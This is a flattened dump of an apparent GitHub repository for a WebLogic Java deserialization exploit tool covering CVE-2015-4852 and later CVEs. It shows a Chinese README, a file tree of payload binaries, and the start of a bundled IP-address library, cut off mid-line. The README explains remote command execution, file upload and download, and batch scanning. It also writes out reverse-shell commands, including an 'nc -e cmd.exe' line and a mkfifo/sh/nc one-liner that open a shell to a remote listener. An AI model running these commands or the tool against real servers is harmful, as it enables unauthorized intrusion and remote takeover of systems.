├── README.md ├── bin ├── collections_3.2.0.jar ├── genPayload.jar ├── iplist.txt ├── javax.jar ├── lib │ ├── IPy.py │ ├── __init__.py │ ├── console_print.py │ └── console_width.py ├── nmap.xml ├── payload_bin │ ├── inst.jar │ ├── payload_Linux_delete.bin │ ├── payload_Linux_inst.bin │ ├── payload_Linux_reverse.bin │ ├── payload_Linux_uninst.bin │ ├── payload_Linux_upload_inst.bin │ ├── payload_Linux_upload_reverse.bin │ ├── payload_Linux_upload_uninst.bin │ ├── payload_Windows_delete.bin │ ├── payload_Windows_inst.bin │ ├── payload_Windows_reverse.bin │ ├── payload_Windows_uninst.bin │ ├── payload_Windows_upload_inst.bin │ ├── payload_Windows_upload_reverse.bin │ ├── payload_Windows_upload_uninst.bin │ ├── reverse.jar │ ├── reverse_shell.py │ └── uninst.jar ├── scan.py ├── shellApp.jar ├── weblogic.jar ├── weblogic.py └── weblogic_check_vuls.py ├── exploit.png └── src ├── InitApp ├── .classpath ├── .project ├── .settings │ └── org.eclipse.jdt.core.prefs ├── bin │ └── weblogic │ │ └── jndi │ │ └── internal │ │ ├── InitApp.class │ │ └── InitAppImpl.class └── src │ └── weblogic │ └── jndi │ └── internal │ ├── InitApp.java │ └── InitAppImpl.java ├── manifest_payload.mf ├── manifest_shell.mf ├── reverse_shell ├── .classpath ├── .project ├── .settings │ ├── org.eclipse.core.resources.prefs │ └── org.eclipse.jdt.core.prefs ├── bin │ ├── Main.class │ ├── StreamConnector.class │ └── reverse.jar └── src │ ├── Main.java │ ├── R.java │ └── StreamConnector.java └── weblogic_rebeyond ├── .classpath ├── .project ├── .settings └── org.eclipse.jdt.core.prefs ├── bin ├── Utils │ └── RyClient.class ├── collections_3.2.0.jar ├── genPayload.class ├── genPayload.jar ├── javax.jar ├── payload │ ├── GenInstallPayload.class │ ├── GenPayload.class │ └── GenReversePayload.class ├── payload_bin │ ├── inst.jar │ ├── reverse.jar │ └── uninst.jar ├── shellApp.class ├── shellApp.jar └── weblogic.jar └── src ├── Utils └── RyClient.java ├── genPayload.java ├── payload ├── GenInstallPayload.java ├── GenPayload.java └── GenReversePayload.java └── shellApp.java /README.md: -------------------------------------------------------------------------------- 1 | # weblogic unserialize exploit 2 | 3 | #### java反序列化漏洞(CVE-2015-4852)的weblogic exploit命令回显exp 4 | 5 | ### 1.依赖组件 6 | + python 2.7 7 | + java 8 | 9 | ### 2. 程序说明 10 | + exploit方法来源于Freebuf的”Java反序列化漏洞之weblogic本地利用实现篇”,基于rebeyond大牛的研究和反编译WebLogic_EXP.jar实现的。 11 | + 与rebeyond的方法相比,只提取了WebLogic_EXP.jar中用到的少数几个java class,使用python脚本来实现exploit。 12 | + 根据网上和自己测试的weblogic反序列化漏洞,完善了CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628和CVE-2018-2893的批量检测脚本(weblogic_check_vuls.py)(2018.7.20) 13 | 14 | ### 3.使用说明 15 | 16 | + python exp: 17 | 18 | ```bash 19 | weblogic.py [-h] -u HOST -p PORT -os {win,linux} -t {verify,exploit} 20 | [--silent] 21 | 22 | optional arguments: 23 | -h, --help show this help message and exit 24 | -u HOST, --host HOST weblogic host 25 | -p PORT, --port PORT host port 26 | -os {win,linux}, --os_type {win,linux} 27 | os type 28 | -t {verify,exploit,reverse_shell}, --exp_type {verify,exploit,reverse_shell} 29 | exploit type; verify to check the vul,the exploit mode 30 | can run cmd and get the result 31 | reverse_shell can get shell 32 | --silent don't show the verbose message 33 | 34 | verify :只执行一次whoami命令,验证是否漏洞存在 35 | exploit:远程命令执行模式,运行putfile、getfile和命令远程运行和回显 36 | reverse_shell:反弹shell(需要设定--LHOS和--LPORT参数) 37 | --LHOST LHOST reverse shell to the host ip 38 | --LPORT LPORT reverse shell to host port 39 | 40 | exploit模式下可以进行文件的下传和下载: 41 | 上传文件:putfile [localfile] [remotefile] 42 | 下载文件:getfile [remotefile] [localfile] 43 | 44 | ``` 45 | + 远程执行命令是通过java的RMI来实现的 46 | 47 | ```bash 48 | java -jar shellApp.jar [host] [port] [os] [cmd] 49 | OS:win|linux 50 | CMD: putfile [localfile] [remotefile] 51 | getfile [remotefile] [localfile] 52 | [windows or linux cmd] 53 | ``` 54 | 55 | + 程序在windows/linux/mac下测试通过,weblogic版本为10.3.6。 56 | 57 | ### 4.payload_bin说明 58 | 59 | + payload_bin下面的各种payload是用于向weblogic通过t3协议发送的反序列化内容,由通过执行genPayload.class产生的,执行命令为: 60 | 61 | java -jar genPayload.jar [OS] [Payload_Type] 62 | OS:win|linux 63 | Payload_Type:upload_inst|inst|upload_uninst|uninst|delete|upload_reverse|reverse 64 | ### 5.反弹shell 65 | + 方法一: 66 | 67 | ```bash 68 | 1、在本机上监听,等待shell反弹 69 | 70 | nc -l 8080 71 | 72 | 2、命令行反弹shell 73 | 74 | ./weblogic.py -u 192.168.56.104 -p 7001 -os win -t reverse_shell --LHOST 192.168.56.101 --LPORT 8080 75 | 76 | --LHOST与--LPORT分别是要反弹获得shell的主机地址和端口 77 | 78 | 本方法是采用t3协议直接将java程序发包到服务器上后直接反弹shell,是最方便的一种。感谢Rstar提供的实现,我稍做了修改以匹配exp的实现。 79 | ``` 80 | 81 | + 方法二: 82 | 83 | ```bash 84 | 85 | 1、用weblogic.py exploit到weblogic服务器 86 | 87 | 2、上传payload_bin目录下的的nc.exe(windows主机);或修改reverse_shell.py的LHOST和LPORT(linux主机)后上传到服务器。 88 | 89 | exploit>putfile payload_bin/nc.exe c:\windows\temp\nc.exe (windows主机) 90 | exploit>putfile payload_bin/reverse_shell.py /tmp/rs.py (linux主机) 91 | 92 | 3、在本机上监听,等待shell反弹 93 | 94 | nc -l 8080 95 | 96 | 4、通过exploit执行远程命令反弹shell 97 | 98 | exploit>c:\windows\temp\nc.exe -e cmd.exe remote_ip 8080 (windows主机) 99 | exploit>python /tmp/rs.py (linux主机) 100 | ``` 101 | + 方法三:(linux) 102 | 103 | ```bash 104 | 1、在本机上监听,等待shell反弹 105 | 106 | nc -l 8080 107 | 108 | 2、通过exploit执行远程命令反弹shell 109 | 110 | exploit>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc remote_ip 8080 >/tmp/f 111 | 112 | ``` 113 | 114 | ### 6.weblogic反序列化漏洞批量检测脚本 115 | 116 | ``` 117 | usage: weblogic_check_vuls.py [-h] [-f FILE] [-t TARGET] [-p PORT] 118 | 119 | weblogic scanner 120 | 121 | optional arguments: 122 | -h, --help show this help message and exit 123 | -f FILE, --file FILE read target ip from file 124 | -t TARGET, --target TARGET 125 | target ip 126 | -p PORT, --port PORT server port,default is 7001 127 | You must set target ip or file! 128 | ``` 129 | 130 | ### 7.其它 131 | 132 | + 本程序只用于技术研究和个人使用,来源于网络、分享于网络,欢迎各位大牛继续完善 133 | 134 | -------------------------------------------------------------------------------- /bin/collections_3.2.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/bin/collections_3.2.0.jar -------------------------------------------------------------------------------- /bin/genPayload.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/bin/genPayload.jar -------------------------------------------------------------------------------- /bin/iplist.txt: -------------------------------------------------------------------------------- 1 | 172.16.80.149 2 | -------------------------------------------------------------------------------- /bin/javax.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/bin/javax.jar -------------------------------------------------------------------------------- /bin/lib/IPy.py: -------------------------------------------------------------------------------- 1 | """ 2 | IPy - class and tools for handling of IPv4 and IPv6 addresses and networks. 3 | See README file for learn how to use IPy. 4 | 5 | Further Information might be available at: 6 | https://github.com/haypo/python-ipy 7 | """ 8 | 9 | __version__ = '0.83' 10 | 11 | import bisect 12 | import collections 13 | import sys 14 | import types 15 | 16 | # Definition of the Ranges for IPv4 IPs 17 | # this should include www.iana.org/assignments/ipv4-address-space 18 | # and www.iana.org/assignments/multicast-addresses 19 | IPv4ranges = { 20 | '0': 'PUBLIC', # fall back 21 | '00000000': 'PRIVATE', # 0/8 22 | '00001010': 'PRIVATE', # 10/8 23 | '0110010001': 'CARRIER_GRADE_NAT', #100.64/10 24 | '01111111': 'PRIVATE', # 127.0/8 25 | '1': 'PUBLIC', # fall back 26 | '1010100111111110': 'PRIVATE', # 169.254/16 27 | '101011000001': 'PRIVATE', # 172.16/12 28 | '1100000010101000': 'PRIVATE', # 192.168/16 29 | '111': 'RESERVED', # 224/3 30 | } 31 | 32 | # Definition of the Ranges for IPv6 IPs 33 | # http://www.iana.org/assignments/ipv6-address-space/ 34 | # http://www.iana.org/assignments/ipv6-unicast-address-assignments/ 35 | # http://www.iana.org/assignments/ipv6-multicast-addresses/ 36 | IPv6ranges = { 37 | '00000000' : 'RESERVED', # ::/8 38 | '0' * 96 : 'RESERVED', # ::/96 Formerly IPV4COMP [RFC4291] 39 | '0' * 128 : 'UNSPECIFIED', # ::/128 40 | '0' * 127 + '1' : 'LOOPBACK', # ::1/128 41 | '0' * 80 + '1' * 16 : 'IPV4MAP', # ::ffff:0:0/96 42 | '00000000011001001111111110011011' + '0' * 64 : 'WKP46TRANS', # 0064:ff9b::/96 Well-Known-Prefix [RFC6052] 43 | '00000001' : 'UNASSIGNED', # 0100::/8 44 | '0000001' : 'RESERVED', # 0200::/7 Formerly NSAP [RFC4048] 45 | '0000010' : 'RESERVED', # 0400::/7 Formerly IPX [RFC3513] 46 | '0000011' : 'RESERVED', # 0600::/7 47 | '00001' : 'RESERVED', # 0800::/5 48 | '0001' : 'RESERVED', # 1000::/4 49 | '001' : 'GLOBAL-UNICAST', # 2000::/3 [RFC4291] 50 | '00100000000000010000000' : 'SPECIALPURPOSE', # 2001::/23 [RFC4773] 51 | '00100000000000010000000000000000' : 'TEREDO', # 2001::/32 [RFC4380] 52 | '00100000000000010000000000000010' + '0' * 16 : 'BMWG', # 2001:0002::/48 Benchmarking [RFC5180] 53 | '0010000000000001000000000001' : 'ORCHID', # 2001:0010::/28 (Temp until 2014-03-21) [RFC4843] 54 | '00100000000000010000001' : 'ALLOCATED APNIC', # 2001:0200::/23 55 | '00100000000000010000010' : 'ALLOCATED ARIN', # 2001:0400::/23 56 | '00100000000000010000011' : 'ALLOCATED RIPE NCC', # 2001:0600::/23 57 | '00100000000000010000100' : 'ALLOCATED RIPE NCC', # 2001:0800::/23 58 | '00100000000000010000101' : 'ALLOCATED RIPE NCC', # 2001:0a00::/23 59 | '00100000000000010000110' : 'ALLOCATED APNIC', # 2001:0c00::/23 60 | '00100000000000010000110110111000' : 'DOCUMENTATION', # 2001:0db8::/32 [RFC3849] 61 | '00100000000000010000111' : 'ALLOCATED APNIC', # 2001:0e00::/23 62 | '00100000000000010001001' : 'ALLOCATED LACNIC', # 2001:1200::/23 63 | '00100000000000010001010' : 'ALLOCATED RIPE NCC', # 2001:1400::/23 64 | '00100000000000010001011' : 'ALLOCATED RIPE NCC', # 2001:1600::/23 65 | '00100000000000010001100' : 'ALLOCATED ARIN', # 2001:1800::/23 66 | '00100000000000010001101' : 'ALLOCATED RIPE NCC', # 2001:1a00::/23 67 | '0010000000000001000111' : 'ALLOCATED RIPE NCC', # 2001:1c00::/22 68 | '00100000000000010010' : 'ALLOCATED RIPE NCC', # 2001:2000::/20 69 | '001000000000000100110' : 'ALLOCATED RIPE NCC', # 2001:3000::/21 70 | '0010000000000001001110' : 'ALLOCATED RIPE NCC', # 2001:3800::/22 71 | '0010000000000001001111' : 'RESERVED', # 2001:3c00::/22 Possible future allocation to RIPE NCC 72 | '00100000000000010100000' : 'ALLOCATED RIPE NCC', # 2001:4000::/23 73 | '00100000000000010100001' : 'ALLOCATED AFRINIC', # 2001:4200::/23 74 | '00100000000000010100010' : 'ALLOCATED APNIC', # 2001:4400::/23 75 | '00100000000000010100011' : 'ALLOCATED RIPE NCC', # 2001:4600::/23 76 | '00100000000000010100100' : 'ALLOCATED ARIN', # 2001:4800::/23 77 | '00100000000000010100101' : 'ALLOCATED RIPE NCC', # 2001:4a00::/23 78 | '00100000000000010100110' : 'ALLOCATED RIPE NCC', # 2001:4c00::/23 79 | '00100000000000010101' : 'ALLOCATED RIPE NCC', # 2001:5000::/20 80 | '0010000000000001100' : 'ALLOCATED APNIC', # 2001:8000::/19 81 | '00100000000000011010' : 'ALLOCATED APNIC', # 2001:a000::/20 82 | '00100000000000011011' : 'ALLOCATED APNIC', # 2001:b000::/20 83 | '0010000000000010' : '6TO4', # 2002::/16 "6to4" [RFC3056] 84 | '001000000000001100' : 'ALLOCATED RIPE NCC', # 2003::/18 85 | '001001000000' : 'ALLOCATED APNIC', # 2400::/12 86 | '001001100000' : 'ALLOCATED ARIN', # 2600::/12 87 | '00100110000100000000000' : 'ALLOCATED ARIN', # 2610::/23 88 | '00100110001000000000000' : 'ALLOCATED ARIN', # 2620::/23 89 | '001010000000' : 'ALLOCATED LACNIC', # 2800::/12 90 | '001010100000' : 'ALLOCATED RIPE NCC', # 2a00::/12 91 | '001011000000' : 'ALLOCATED AFRINIC', # 2c00::/12 92 | '00101101' : 'RESERVED', # 2d00::/8 93 | '0010111' : 'RESERVED', # 2e00::/7 94 | '0011' : 'RESERVED', # 3000::/4 95 | '010' : 'RESERVED', # 4000::/3 96 | '011' : 'RESERVED', # 6000::/3 97 | '100' : 'RESERVED', # 8000::/3 98 | '101' : 'RESERVED', # a000::/3 99 | '110' : 'RESERVED', # c000::/3 100 | '1110' : 'RESERVED', # e000::/4 101 | '11110' : 'RESERVED', # f000::/5 102 | '111110' : 'RESERVED', # f800::/6 103 | '1111110' : 'ULA', # fc00::/7 [RFC4193] 104 | '111111100' : 'RESERVED', # fe00::/9 105 | '1111111010' : 'LINKLOCAL', # fe80::/10 106 | '1111111011' : 'RESERVED', # fec0::/10 Formerly SITELOCAL [RFC4291] 107 | '11111111' : 'MULTICAST', # ff00::/8 108 | '1111111100000001' : 'NODE-LOCAL MULTICAST', # ff01::/16 109 | '1111111100000010' : 'LINK-LOCAL MULTICAST', # ff02::/16 110 | '1111111100000100' : 'ADMIN-LOCAL MULTICAST', # ff04::/16 111 | '1111111100000101' : 'SITE-LOCAL MULTICAST', # ff05::/16 112 | '1111111100001000' : 'ORG-LOCAL MULTICAST', # ff08::/16 113 | '1111111100001110' : 'GLOBAL MULTICAST', # ff0e::/16 114 | '1111111100001111' : 'RESERVED MULTICAST', # ff0f::/16 115 | '111111110011' : 'PREFIX-BASED MULTICAST', # ff30::/12 [RFC3306] 116 | '111111110111' : 'RP-EMBEDDED MULTICAST', # ff70::/12 [RFC3956] 117 | } 118 | 119 | MAX_IPV4_ADDRESS = 0xffffffff 120 | MAX_IPV6_ADDRESS = 0xffffffffffffffffffffffffffffffff 121 | IPV6_TEST_MAP = 0xffffffffffffffffffffffff00000000 122 | IPV6_MAP_MASK = 0x00000000000000000000ffff00000000 123 | 124 | if sys.version_info >= (3,): 125 | INT_TYPES = (int,) 126 | STR_TYPES = (str,) 127 | xrange = range 128 | else: 129 | INT_TYPES = (int, long) 130 | STR_TYPES = (str, unicode) 131 | 132 | 133 | class IPint(object): 134 | """Handling of IP addresses returning integers. 135 | 136 | Use class IP instead because some features are not implemented for 137 | IPint.""" 138 | 139 | def __init__(self, data, ipversion=0, make_net=0): 140 | """Create an instance of an IP object. 141 | 142 | Data can be a network specification or a single IP. IP 143 | addresses can be specified in all forms understood by 144 | parseAddress(). The size of a network can be specified as 145 | 146 | /prefixlen a.b.c.0/24 2001:658:22a:cafe::/64 147 | -lastIP a.b.c.0-a.b.c.255 2001:658:22a:cafe::-2001:658:22a:cafe:ffff:ffff:ffff:ffff 148 | /decimal netmask a.b.c.d/255.255.255.0 not supported for IPv6 149 | 150 | If no size specification is given a size of 1 address (/32 for 151 | IPv4 and /128 for IPv6) is assumed. 152 | 153 | If make_net is True, an IP address will be transformed into the network 154 | address by applying the specified netmask. 155 | 156 | >>> print(IP('127.0.0.0/8')) 157 | 127.0.0.0/8 158 | >>> print(IP('127.0.0.0/255.0.0.0')) 159 | 127.0.0.0/8 160 | >>> print(IP('127.0.0.0-127.255.255.255')) 161 | 127.0.0.0/8 162 | >>> print(IP('127.0.0.1/255.0.0.0', make_net=True)) 163 | 127.0.0.0/8 164 | 165 | See module documentation for more examples. 166 | """ 167 | 168 | # Print no Prefixlen for /32 and /128 169 | self.NoPrefixForSingleIp = 1 170 | 171 | # Do we want prefix printed by default? see _printPrefix() 172 | self.WantPrefixLen = None 173 | 174 | netbits = 0 175 | prefixlen = -1 176 | 177 | # handling of non string values in constructor 178 | if isinstance(data, INT_TYPES): 179 | self.ip = int(data) 180 | if ipversion == 0: 181 | if self.ip <= MAX_IPV4_ADDRESS: 182 | ipversion = 4 183 | else: 184 | ipversion = 6 185 | if ipversion == 4: 186 | if self.ip > MAX_IPV4_ADDRESS: 187 | raise ValueError("IPv4 Address can't be larger than %x: %x" % (MAX_IPV4_ADDRESS, self.ip)) 188 | prefixlen = 32 189 | elif ipversion == 6: 190 | if self.ip > MAX_IPV6_ADDRESS: 191 | raise ValueError("IPv6 Address can't be larger than %x: %x" % (MAX_IPV6_ADDRESS, self.ip)) 192 | prefixlen = 128 193 | else: 194 | raise ValueError("only IPv4 and IPv6 supported") 195 | self._ipversion = ipversion 196 | self._prefixlen = prefixlen 197 | # handle IP instance as an parameter 198 | elif isinstance(data, IPint): 199 | self._ipversion = data._ipversion 200 | self._prefixlen = data._prefixlen 201 | self.ip = data.ip 202 | elif isinstance(data, STR_TYPES): 203 | # TODO: refactor me! 204 | # splitting of a string into IP and prefixlen et. al. 205 | x = data.split('-') 206 | if len(x) == 2: 207 | # a.b.c.0-a.b.c.255 specification ? 208 | (ip, last) = x 209 | (self.ip, parsedVersion) = parseAddress(ip) 210 | if parsedVersion != 4: 211 | raise ValueError("first-last notation only allowed for IPv4") 212 | (last, lastversion) = parseAddress(last) 213 | if lastversion != 4: 214 | raise ValueError("last address should be IPv4, too") 215 | if last < self.ip: 216 | raise ValueError("last address should be larger than first") 217 | size = last - self.ip 218 | netbits = _count1Bits(size) 219 | # make sure the broadcast is the same as the last ip 220 | # otherwise it will return /16 for something like: 221 | # 192.168.0.0-192.168.191.255 222 | if IP('%s/%s' % (ip, 32-netbits)).broadcast().int() != last: 223 | raise ValueError("the range %s is not on a network boundary." % data) 224 | elif len(x) == 1: 225 | x = data.split('/') 226 | # if no prefix is given use defaults 227 | if len(x) == 1: 228 | ip = x[0] 229 | prefixlen = -1 230 | elif len(x) > 2: 231 | raise ValueError("only one '/' allowed in IP Address") 232 | else: 233 | (ip, prefixlen) = x 234 | if prefixlen.find('.') != -1: 235 | # check if the user might have used a netmask like 236 | # a.b.c.d/255.255.255.0 237 | (netmask, vers) = parseAddress(prefixlen) 238 | if vers != 4: 239 | raise ValueError("netmask must be IPv4") 240 | prefixlen = _netmaskToPrefixlen(netmask) 241 | elif len(x) > 2: 242 | raise ValueError("only one '-' allowed in IP Address") 243 | else: 244 | raise ValueError("can't parse") 245 | 246 | (self.ip, parsedVersion) = parseAddress(ip) 247 | if ipversion == 0: 248 | ipversion = parsedVersion 249 | if prefixlen == -1: 250 | bits = _ipVersionToLen(ipversion) 251 | prefixlen = bits - netbits 252 | self._ipversion = ipversion 253 | self._prefixlen = int(prefixlen) 254 | 255 | if make_net: 256 | self.ip = self.ip & _prefixlenToNetmask(self._prefixlen, self._ipversion) 257 | 258 | if not _checkNetaddrWorksWithPrefixlen(self.ip, 259 | self._prefixlen, self._ipversion): 260 | raise ValueError("%s has invalid prefix length (%s)" % (repr(self), self._prefixlen)) 261 | else: 262 | raise TypeError("Unsupported data type: %s" % type(data)) 263 | 264 | def int(self): 265 | """Return the first / base / network addess as an (long) integer. 266 | 267 | The same as IP[0]. 268 | 269 | >>> "%X" % IP('10.0.0.0/8').int() 270 | 'A000000' 271 | """ 272 | return self.ip 273 | 274 | def version(self): 275 | """Return the IP version of this Object. 276 | 277 | >>> IP('10.0.0.0/8').version() 278 | 4 279 | >>> IP('::1').version() 280 | 6 281 | """ 282 | return self._ipversion 283 | 284 | def prefixlen(self): 285 | """Returns Network Prefixlen. 286 | 287 | >>> IP('10.0.0.0/8').prefixlen() 288 | 8 289 | """ 290 | return self._prefixlen 291 | 292 | def net(self): 293 | """ 294 | Return the base (first) address of a network as an (long) integer. 295 | """ 296 | return self.int() 297 | 298 | def broadcast(self): 299 | """ 300 | Return the broadcast (last) address of a network as an (long) integer. 301 | 302 | The same as IP[-1].""" 303 | return self.int() + self.len() - 1 304 | 305 | def _printPrefix(self, want): 306 | """Prints Prefixlen/Netmask. 307 | 308 | Not really. In fact it is our universal Netmask/Prefixlen printer. 309 | This is considered an internal function. 310 | 311 | want == 0 / None don't return anything 1.2.3.0 312 | want == 1 /prefix 1.2.3.0/24 313 | want == 2 /netmask 1.2.3.0/255.255.255.0 314 | want == 3 -lastip 1.2.3.0-1.2.3.255 315 | """ 316 | 317 | if (self._ipversion == 4 and self._prefixlen == 32) or \ 318 | (self._ipversion == 6 and self._prefixlen == 128): 319 | if self.NoPrefixForSingleIp: 320 | want = 0 321 | if want == None: 322 | want = self.WantPrefixLen 323 | if want == None: 324 | want = 1 325 | if want: 326 | if want == 2: 327 | # this should work with IP and IPint 328 | netmask = self.netmask() 329 | if not isinstance(netmask, INT_TYPES): 330 | netmask = netmask.int() 331 | return "/%s" % (intToIp(netmask, self._ipversion)) 332 | elif want == 3: 333 | return "-%s" % (intToIp(self.ip + self.len() - 1, self._ipversion)) 334 | else: 335 | # default 336 | return "/%d" % (self._prefixlen) 337 | else: 338 | return '' 339 | 340 | # We have different flavours to convert to: 341 | # strFullsize 127.0.0.1 2001:0658:022a:cafe:0200:c0ff:fe8d:08fa 342 | # strNormal 127.0.0.1 2001:658:22a:cafe:200:c0ff:fe8d:08fa 343 | # strCompressed 127.0.0.1 2001:658:22a:cafe::1 344 | # strHex 0x7F000001 0x20010658022ACAFE0200C0FFFE8D08FA 345 | # strDec 2130706433 42540616829182469433547974687817795834 346 | 347 | def strBin(self, wantprefixlen = None): 348 | """Return a string representation as a binary value. 349 | 350 | >>> print(IP('127.0.0.1').strBin()) 351 | 01111111000000000000000000000001 352 | >>> print(IP('2001:0658:022a:cafe:0200::1').strBin()) 353 | 00100000000000010000011001011000000000100010101011001010111111100000001000000000000000000000000000000000000000000000000000000001 354 | """ 355 | 356 | bits = _ipVersionToLen(self._ipversion) 357 | if self.WantPrefixLen == None and wantprefixlen == None: 358 | wantprefixlen = 0 359 | ret = _intToBin(self.ip) 360 | return '0' * (bits - len(ret)) + ret + self._printPrefix(wantprefixlen) 361 | 362 | def strCompressed(self, wantprefixlen = None): 363 | """Return a string representation in compressed format using '::' Notation. 364 | 365 | >>> IP('127.0.0.1').strCompressed() 366 | '127.0.0.1' 367 | >>> IP('2001:0658:022a:cafe:0200::1').strCompressed() 368 | '2001:658:22a:cafe:200::1' 369 | >>> IP('ffff:ffff:ffff:ffff:ffff:f:f:fffc/127').strCompressed() 370 | 'ffff:ffff:ffff:ffff:ffff:f:f:fffc/127' 371 | """ 372 | 373 | if self.WantPrefixLen == None and wantprefixlen == None: 374 | wantprefixlen = 1 375 | 376 | if self._ipversion == 4: 377 | return self.strFullsize(wantprefixlen) 378 | else: 379 | if self.ip >> 32 == 0xffff: 380 | ipv4 = intToIp(self.ip & MAX_IPV4_ADDRESS, 4) 381 | text = "::ffff:" + ipv4 + self._printPrefix(wantprefixlen) 382 | return text 383 | # find the longest sequence of '0' 384 | hextets = [int(x, 16) for x in self.strFullsize(0).split(':')] 385 | # every element of followingzeros will contain the number of zeros 386 | # following the corresponding element of hextets 387 | followingzeros = [0] * 8 388 | for i in xrange(len(hextets)): 389 | followingzeros[i] = _countFollowingZeros(hextets[i:]) 390 | # compressionpos is the position where we can start removing zeros 391 | compressionpos = followingzeros.index(max(followingzeros)) 392 | if max(followingzeros) > 1: 393 | # genererate string with the longest number of zeros cut out 394 | # now we need hextets as strings 395 | hextets = [x for x in self.strNormal(0).split(':')] 396 | while compressionpos < len(hextets) and hextets[compressionpos] == '0': 397 | del(hextets[compressionpos]) 398 | hextets.insert(compressionpos, '') 399 | if compressionpos + 1 >= len(hextets): 400 | hextets.append('') 401 | if compressionpos == 0: 402 | hextets = [''] + hextets 403 | return ':'.join(hextets) + self._printPrefix(wantprefixlen) 404 | else: 405 | return self.strNormal(0) + self._printPrefix(wantprefixlen) 406 | 407 | def strNormal(self, wantprefixlen = None): 408 | """Return a string representation in the usual format. 409 | 410 | >>> print(IP('127.0.0.1').strNormal()) 411 | 127.0.0.1 412 | >>> print(IP('2001:0658:022a:cafe:0200::1').strNormal()) 413 | 2001:658:22a:cafe:200:0:0:1 414 | """ 415 | 416 | if self.WantPrefixLen == None and wantprefixlen == None: 417 | wantprefixlen = 1 418 | 419 | if self._ipversion == 4: 420 | ret = self.strFullsize(0) 421 | elif self._ipversion == 6: 422 | ret = ':'.join(["%x" % x for x in [int(x, 16) for x in self.strFullsize(0).split(':')]]) 423 | else: 424 | raise ValueError("only IPv4 and IPv6 supported") 425 | 426 | 427 | 428 | return ret + self._printPrefix(wantprefixlen) 429 | 430 | def strFullsize(self, wantprefixlen = None): 431 | """Return a string representation in the non-mangled format. 432 | 433 | >>> print(IP('127.0.0.1').strFullsize()) 434 | 127.0.0.1 435 | >>> print(IP('2001:0658:022a:cafe:0200::1').strFullsize()) 436 | 2001:0658:022a:cafe:0200:0000:0000:0001 437 | """ 438 | 439 | if self.WantPrefixLen == None and wantprefixlen == None: 440 | wantprefixlen = 1 441 | 442 | return intToIp(self.ip, self._ipversion) + self._printPrefix(wantprefixlen) 443 | 444 | def strHex(self, wantprefixlen = None): 445 | """Return a string representation in hex format in lower case. 446 | 447 | >>> print(IP('127.0.0.1').strHex()) 448 | 0x7f000001 449 | >>> print(IP('2001:0658:022a:cafe:0200::1').strHex()) 450 | 0x20010658022acafe0200000000000001 451 | """ 452 | 453 | if self.WantPrefixLen == None and wantprefixlen == None: 454 | wantprefixlen = 0 455 | 456 | x = '0x%x' % self.ip 457 | return x + self._printPrefix(wantprefixlen) 458 | 459 | def strDec(self, wantprefixlen = None): 460 | """Return a string representation in decimal format. 461 | 462 | >>> print(IP('127.0.0.1').strDec()) 463 | 2130706433 464 | >>> print(IP('2001:0658:022a:cafe:0200::1').strDec()) 465 | 42540616829182469433547762482097946625 466 | """ 467 | 468 | if self.WantPrefixLen == None and wantprefixlen == None: 469 | wantprefixlen = 0 470 | 471 | x = '%d' % self.ip 472 | return x + self._printPrefix(wantprefixlen) 473 | 474 | def iptype(self): 475 | """Return a description of the IP type ('PRIVATE', 'RESERVED', etc). 476 | 477 | >>> print(IP('127.0.0.1').iptype()) 478 | PRIVATE 479 | >>> print(IP('192.168.1.1').iptype()) 480 | PRIVATE 481 | >>> print(IP('195.185.1.2').iptype()) 482 | PUBLIC 483 | >>> print(IP('::1').iptype()) 484 | LOOPBACK 485 | >>> print(IP('2001:0658:022a:cafe:0200::1').iptype()) 486 | ALLOCATED RIPE NCC 487 | 488 | The type information for IPv6 is out of sync with reality. 489 | """ 490 | 491 | # this could be greatly improved 492 | 493 | if self._ipversion == 4: 494 | iprange = IPv4ranges 495 | elif self._ipversion == 6: 496 | iprange = IPv6ranges 497 | else: 498 | raise ValueError("only IPv4 and IPv6 supported") 499 | 500 | bits = self.strBin() 501 | for i in xrange(len(bits), 0, -1): 502 | if bits[:i] in iprange: 503 | return iprange[bits[:i]] 504 | return "unknown" 505 | 506 | 507 | def netmask(self): 508 | """Return netmask as an integer. 509 | 510 | >>> "%X" % IP('195.185.0.0/16').netmask().int() 511 | 'FFFF0000' 512 | """ 513 | 514 | # TODO: unify with prefixlenToNetmask? 515 | bits = _ipVersionToLen(self._ipversion) 516 | locallen = bits - self._prefixlen 517 | 518 | return ((2 ** self._prefixlen) - 1) << locallen 519 | 520 | 521 | def strNetmask(self): 522 | """Return netmask as an string. Mostly useful for IPv6. 523 | 524 | >>> print(IP('195.185.0.0/16').strNetmask()) 525 | 255.255.0.0 526 | >>> print(IP('2001:0658:022a:cafe::0/64').strNetmask()) 527 | /64 528 | """ 529 | 530 | # TODO: unify with prefixlenToNetmask? 531 | # Note: call to _ipVersionToLen() also validates version is 4 or 6 532 | bits = _ipVersionToLen(self._ipversion) 533 | if self._ipversion == 4: 534 | locallen = bits - self._prefixlen 535 | return intToIp(((2 ** self._prefixlen) - 1) << locallen, 4) 536 | elif self._ipversion == 6: 537 | return "/%d" % self._prefixlen 538 | 539 | def len(self): 540 | """Return the length of a subnet. 541 | 542 | >>> print(IP('195.185.1.0/28').len()) 543 | 16 544 | >>> print(IP('195.185.1.0/24').len()) 545 | 256 546 | """ 547 | 548 | bits = _ipVersionToLen(self._ipversion) 549 | locallen = bits - self._prefixlen 550 | return 2 ** locallen 551 | 552 | 553 | def __nonzero__(self): 554 | """All IPy objects should evaluate to true in boolean context. 555 | Ordinarily they do, but if handling a default route expressed as 556 | 0.0.0.0/0, the __len__() of the object becomes 0, which is used 557 | as the boolean value of the object. 558 | """ 559 | return True 560 | 561 | 562 | def __len__(self): 563 | """ 564 | Return the length of a subnet. 565 | 566 | Called to implement the built-in function len(). 567 | It will break with large IPv6 Networks. 568 | Use the object's len() instead. 569 | """ 570 | return self.len() 571 | 572 | def __add__(self, other): 573 | """Emulate numeric objects through network aggregation""" 574 | if self._ipversion != other._ipversion: 575 | raise ValueError("Only networks with the same IP version can be added.") 576 | if self._prefixlen != other._prefixlen: 577 | raise ValueError("Only networks with the 